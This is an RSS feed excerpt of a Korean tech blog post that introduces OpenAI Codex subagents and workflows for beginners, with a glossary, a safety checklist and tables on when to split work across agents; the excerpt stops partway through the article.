&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Configuration Reference&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/memories&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Memories&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Sandbox&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/agent-approvals-security&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Agent approvals &amp;amp; security&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/enterprise/managed-configuration&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Managed configuration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작성일: 2026년 5월 6일. 분석 범위: OpenAI Codex 공식 문서 2026년 5월 기준. 이 글은 공식 문서에 공개된 범위만 다루며, 이후 기능명이나 설정 키는 변경될 수 있다.&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Codex 기초 사용방법</category>
      <category>chatgpt codex</category>
      <category>codex 강의</category>
      <category>codex 기본</category>
      <category>codex 기초</category>
      <category>codex 란</category>
      <category>codex 문법</category>
      <category>codex 사용방법</category>
      <category>gpt 코딩</category>
      <category>코덱스 기초</category>
      <category>코덱스 사용방법</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/599</guid>
      <comments>https://goddaehee.tistory.com/599#entry599comment</comments>
      <pubDate>Mon, 11 May 2026 19:00:07 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI 입문(3) : Codex Subagents와 Workflows 사용 방법 - 큰 작업을 나누어 처리하는 방법</title>
      <link>https://goddaehee.tistory.com/598</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- SEO structured data: BlogPosting + BreadcrumbList + FAQPage --&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@graph&quot;: [
    {
      &quot;@type&quot;: &quot;BlogPosting&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html#blogposting&quot;,
      &quot;headline&quot;: &quot;Codex Subagents와 Workflows: 큰 작업을 나누어 처리하는 방법&quot;,
      &quot;description&quot;: &quot;Codex에서 subagent와 workflow를 활용해 큰 개발 작업을 역할별로 나누고, 탐색, 구현, 검증을 안전하게 진행하는 방법을 설명합니다.&quot;,
      &quot;inLanguage&quot;: &quot;ko-KR&quot;,
      &quot;url&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html&quot;,
      &quot;mainEntityOfPage&quot;: {
        &quot;@type&quot;: &quot;WebPage&quot;,
        &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html&quot;
      },
      &quot;author&quot;: {
        &quot;@type&quot;: &quot;Person&quot;,
        &quot;name&quot;: &quot;갓대희&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;publisher&quot;: {
        &quot;@type&quot;: &quot;Organization&quot;,
        &quot;name&quot;: &quot;갓대희의 블로그&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;datePublished&quot;: &quot;2026-05-06&quot;,
      &quot;dateModified&quot;: &quot;2026-05-08&quot;,
      &quot;articleSection&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
      &quot;keywords&quot;: [
        &quot;Codex Subagents&quot;,
        &quot;Codex Workflows&quot;,
        &quot;AI 에이전트&quot;,
        &quot;병렬 작업&quot;,
        &quot;검증 워크플로&quot;
      ]
    },
    {
      &quot;@type&quot;: &quot;BreadcrumbList&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html#breadcrumb&quot;,
      &quot;itemListElement&quot;: [
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 1,
          &quot;name&quot;: &quot;Home&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 2,
          &quot;name&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/category/AI%20Tools/Codex&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 3,
          &quot;name&quot;: &quot;Codex Subagents와 Workflows&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html&quot;
        }
      ]
    },
    {
      &quot;@type&quot;: &quot;FAQPage&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-4-subagents-workflows.html#faq&quot;,
      &quot;mainEntity&quot;: [
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Codex subagent는 언제 쓰면 좋은가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;파일 범위가 넓거나 역할이 분명히 나뉘는 작업에 유용하다. 예를 들어 한 에이전트는 코드 탐색, 다른 에이전트는 테스트 전략, 또 다른 에이전트는 문서 검토를 맡길 수 있다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;모든 작업을 subagent로 나누는 것이 좋은가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;아니다. 작은 수정이나 한 파일 안에서 끝나는 작업은 오히려 직접 처리하는 편이 빠르다. subagent는 조율 비용보다 병렬 처리 이점이 클 때 쓰는 것이 맞다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Workflow를 만들 때 가장 중요한 기준은 무엇인가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;작업 단계를 탐색, 구현, 검증, 정리처럼 검증 가능한 단위로 나누는 것이다. 각 단계의 산출물과 완료 기준이 분명해야 다음 단계에서 맥락 손실이 줄어든다.&quot;
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2658&quot; data-origin-height=&quot;1492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btr66l/dJMcadhFy5h/nkcV16KzTg8XZsscsrwou0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btr66l/dJMcadhFy5h/nkcV16KzTg8XZsscsrwou0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btr66l/dJMcadhFy5h/nkcV16KzTg8XZsscsrwou0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtr66l%2FdJMcadhFy5h%2FnkcV16KzTg8XZsscsrwou0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2658&quot; height=&quot;1492&quot; data-origin-width=&quot;2658&quot; data-origin-height=&quot;1492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트가 커질수록 &quot;Codex에게 한 번에 다 맡기면 되겠지&quot;라는 접근방식은 금방 한계가 드러나고, 자꾸 맥락을 까먹는 문제가 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요구사항 정리, 파일 탐색, 테스트 실행, 오류 로그 분석을 한 대화창에 계속 쌓아 두면 사람도 헷갈리고 Codex도 중요한 내용을 놓치기 쉽다.&lt;br /&gt;이번 편에서는 그 이유를 풀어보고, 서브에이전트로 일을 나누는 방법과 초보자가 따라 하기 좋은 작업 흐름을 살펴본다.&lt;/p&gt;
&lt;!-- 시리즈 네비게이션 박스 (도입 직후) --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 3: Subagents &amp;middot; Workflows (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 슬래시 명령어 정리(예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 버전 고지 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 10px 15px; border-radius: 6px; border: 1px solid #dee2e6; margin: 15px 0; font-size: 14px; color: #495057;&quot;&gt;이 글은 &lt;b&gt;2026년 5월&lt;/b&gt; 기준 공식 문서(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex&lt;/a&gt;)를 바탕으로 작성되었다. 기능은 지속 업데이트되므로 최신 정보는 공식 문서에서 확인한다.&lt;/div&gt;
&lt;!-- 초심자 용어 박스 --&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 18px 20px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 20px 0;&quot;&gt;&lt;b&gt;먼저 용어만 가볍게 잡고 가자&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;코드베이스&lt;/b&gt;: 프로젝트를 이루는 코드, 설정 파일, 테스트 파일 전체를 말한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;컨텍스트&lt;/b&gt;: Codex가 현재 대화에서 참고하는 배경 정보다. 앞에서 말한 요구사항, 로그, 파일 내용이 여기에 쌓인다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서브에이전트&lt;/b&gt;: 메인 Codex가 일부 일을 따로 맡기는 보조 작업자다. 사람으로 치면 &quot;이 부분만 따로 조사해 와&quot;라고 역할을 나누는 것에 가깝다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;워크플로&lt;/b&gt;: 일을 어떤 순서로 나누고, 누가 맡고, 언제 합칠지 정한 작업 흐름이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CLI&lt;/b&gt;: 터미널에서 글자로 명령을 입력해 쓰는 도구다. Codex CLI는 Codex를 터미널에서 쓰는 방식이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;PR&lt;/b&gt;: Pull Request의 줄임말이다. 보통 &quot;내가 고친 코드를 main 브랜치에 합쳐도 되는지 검토해 달라&quot;는 요청을 뜻한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;orchestrator&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; 여러 subagent에게 일을 나눠주고 결과를 모아 다음 단계를 결정하는 관리자 에이전트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;subagent&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; orchestrator로부터 특정 작업만 받아 수행하는 보조 에이전트. 프리랜서에 가깝다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;컨텍스트 격리&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; 각 에이전트가 자기 일에만 집중하도록 다른 에이전트의 작업 내용을 차단하는 것. 슬랙 알림을 끄고 집중하는 것과 같다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;fan-out / fan-in&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; fan-out은 작업을 여러 에이전트에 동시 분배, fan-in은 결과를 다시 하나로 합치는 것. 채점지 복사(fan-out) &amp;rarr; 점수 취합(fan-in)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;spawn&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; 에이전트가 실행 중에 새 에이전트를 동적으로 생성하는 것&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 안전 체크리스트 --&gt;
&lt;div style=&quot;background-color: #fff4f4; padding: 18px 20px; border-radius: 10px; border-left: 5px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;따라 하기 전에 확인할 것&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 12px;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트는 편하지만, 여러 에이전트가 동시에 명령을 실행할 수 있다. 초보자는 아래 항목을 먼저 확인하는 편이 안전하다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;프로젝트 루트가 맞는지 확인한다. 엉뚱한 폴더에서 실행하면 다른 파일을 읽거나 수정할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git status&lt;/code&gt;로 현재 변경 사항을 확인한다. 중요한 변경은 커밋하거나 백업해 둔다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;처음에는 &quot;수정하지 말고 읽기만 해라&quot;, &quot;요약만 돌려줘&quot;처럼 읽기 전용 지시를 명확히 쓴다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;테스트가 데이터베이스, 외부 API, 실제 비밀키를 건드리지 않는지 확인한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;샌드박스와 승인 정책을 확인한다. 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sandbox 문서&lt;/a&gt;에 따르면 샌드박스는 파일 수정 범위와 네트워크 사용 같은 경계를 정하고, 승인 정책은 그 경계를 넘을 때 멈춰 물어볼지를 정한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;서브에이전트는 각자 모델과 도구 작업을 수행하므로 단일 에이전트보다 토큰 사용량, 대기 시간, 요금 부담이 늘 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 초반 결정표 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;내 작업에 서브에이전트가 필요한가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글을 끝까지 읽기 전에 먼저 아래 표로 감을 잡자. 서브에이전트는 &quot;무조건 많이 띄우면 좋은 기능&quot;이 아니라, 일을 나눴을 때 조율 비용보다 이득이 클 때 쓰는 도구다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2096&quot; data-origin-height=&quot;1138&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdyzUu/dJMcabjSVpy/nlfVqfuIkPGyaMBF5gz120/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdyzUu/dJMcabjSVpy/nlfVqfuIkPGyaMBF5gz120/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdyzUu/dJMcabjSVpy/nlfVqfuIkPGyaMBF5gz120/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdyzUu%2FdJMcabjSVpy%2FnlfVqfuIkPGyaMBF5gz120%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2096&quot; height=&quot;1138&quot; data-origin-width=&quot;2096&quot; data-origin-height=&quot;1138&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;caption style=&quot;text-align: left; color: #495057; font-size: 14px; margin-bottom: 8px;&quot;&gt;서브에이전트 사용 여부 빠른 판단표&lt;/caption&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;판단&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한 파일 안의 작은 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;쓰지 않는 편이 낫다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;나누는 시간보다 직접 처리하는 시간이 짧다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;낯선 저장소 구조 파악&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;읽기 전용이면 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;구조, 테스트, 의존성을 따로 읽어도 충돌이 거의 없다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PR 다각도 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;관점이 분명하면 권장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안, 테스트, 유지보수성처럼 렌즈를 나눌 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;같은 파일을 여러 에이전트가 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;초보자는 피한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;충돌과 재검증 비용이 커질 가능성이 높다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;외부 API, DB, 결제, 메일 발송이 걸린 테스트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;먼저 멈추고 확인한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;병렬 실행보다 부작용 통제가 먼저다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;첫 기준&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 &quot;읽기 전용 서브에이전트 2개&quot;에서 시작한다. &lt;br /&gt;여기서 결과가 잘 맞고 검증이 쉬우면 3개로 늘리고, 파일 수정이 필요해지는 순간에는 역할별 파일 소유권을 먼저 나눈다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;왜 작업을 쪼개야 하는가&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;서브에이전트란 무엇인가&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;서브에이전트 생성하기&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;병렬 실행 &amp;mdash; 읽기와 쓰기를 구분하라&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;모델 배분 전략&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;워크플로 설계 원칙&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;정리 및 실전 적용 가이드&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0 30px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서브에이전트 워크플로 패턴 한눈에 살펴보기&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;패턴&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;언제 쓰나&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;흔한 실패&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;병렬 독립&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;역할이 완전히 나뉘어 파일 충돌이 없을 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;결과 취합 기준이 없어 응답이 뒤섞임&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;순차 직렬&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이전 결과가 다음 에이전트의 입력이 될 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Phase 완료 체크 없이 다음 단계 바로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;오케스트레이터&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;복잡한 작업을 총괄 에이전트가 조율할 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서브에이전트가 같은 파일을 덮어씀&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 0.9em; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 병렬 독립(읽기 전용 2개)패턴으로 시작해보자. &lt;br /&gt;결과가 잘 나오면 순차 직렬을 추가하고, 오케스트레이터는 역할이 완전히 정리된 뒤 도입하자.&lt;/p&gt;
